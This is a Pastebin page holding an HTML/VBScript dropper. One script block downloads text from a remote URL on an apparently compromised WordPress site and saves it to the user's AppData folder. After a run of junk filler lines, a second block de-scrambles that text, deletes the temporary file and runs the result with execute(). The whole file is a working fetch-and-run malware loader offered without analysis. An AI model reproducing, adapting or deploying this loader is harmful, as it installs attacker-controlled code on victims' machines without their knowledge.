Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html><script language="VBScript">
- Set Post0 = CreateObject("msxml2.xmlhttp")
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set wShell=CreateObject("WScript.Shell")
- folder = wShell.ExpandEnvironmentStrings("%appdata%"):
- Post0.open "GET", "https://jonashartley.com/hilaryolsen/wp-includes/random_compat/1122/expres.php?op=macro",False
- Post0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
- Post0.Send
- t0=Post0.responseText
- Set f = objFSO.CreateTextFile(folder+"\desktop.tmp", True)
- f.Write(t0)
- f.Close
- msgbox "dd"
- </script>
- sdgsdgkl
- dgdsfh
- sdfhs
- hsfhsdfh
- fhfshsdh
- dhgsdfh
- sdfhsd
- fh
- sdfh
- sd
- fh
- sd
- fh
- ggggggggggggggggggggggggg
- fghdfhg
- fghfdjhdf
- jghfdjgdf
- jgfd
- jgdf
- jgdf
- jgggggjjjjjjjjjjjjj
- <script language="VBScript">
- Function Co00(c):L=Len(c):s="":For jx=0 To d-1:For ix=0 To Int(L/d)-1:s=s&Mid(c,ix*d+jx+1,1):Next:Next:s=s&Right(c,L-Int(L/d)*d):Co00=s:End Function
- Set f = objFSO.OpenTextFile(folder+"\desktop.tmp", 1, True):data = f.ReadAll:f.Close:d=5:data=Co00(data):objFSO.DeleteFile folder+"\desktop.tmp":execute(data)
- window.close()
- </script>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
